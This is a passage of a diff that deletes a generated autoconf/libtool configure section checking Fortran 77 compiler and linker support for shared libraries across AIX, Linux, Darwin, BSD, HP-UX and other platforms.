- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_F77=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_F77" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_F77" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_F77=
- enable_shared_with_static_runtimes_F77=no
- archive_cmds_F77=
- archive_expsym_cmds_F77=
- old_archive_From_new_cmds_F77=
- old_archive_from_expsyms_cmds_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- thread_safe_flag_spec_F77=
- hardcode_libdir_flag_spec_F77=
- hardcode_libdir_flag_spec_ld_F77=
- hardcode_libdir_separator_F77=
- hardcode_direct_F77=no
- hardcode_minus_L_F77=no
- hardcode_shlibpath_var_F77=unsupported
- link_all_deplibs_F77=unknown
- hardcode_automatic_F77=no
- module_cmds_F77=
- module_expsym_cmds_F77=
- always_export_symbols_F77=no
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_F77=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_F77=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_F77='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_F77=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_F77=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_F77=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_F77='-L$libdir'
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=no
- enable_shared_with_static_runtimes_F77=yes
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_F77='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_F77='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_F77='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_F77=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_F77" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=yes
- archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_F77=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_F77=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_F77=''
- hardcode_direct_F77=yes
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_F77=yes
- else
- # We have old collect2
- hardcode_direct_F77=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_F77=yes
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_libdir_separator_F77=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_F77=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_F77='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_F77="-z nodefs"
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_F77=' ${wl}-bernotok'
- allow_undefined_flag_F77=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_F77='$convenience'
- archive_cmds_need_lc_F77=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_F77=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_F77=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_F77=' '
- allow_undefined_flag_F77=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_F77='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_F77='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_F77=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_F77='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_F77=no
- hardcode_direct_F77=no
- hardcode_automatic_F77=yes
- hardcode_shlibpath_var_F77=unsupported
- whole_archive_flag_spec_F77=''
- link_all_deplibs_F77=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- freebsd1*)
- ld_shlibs_F77=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
- archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_direct_F77=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
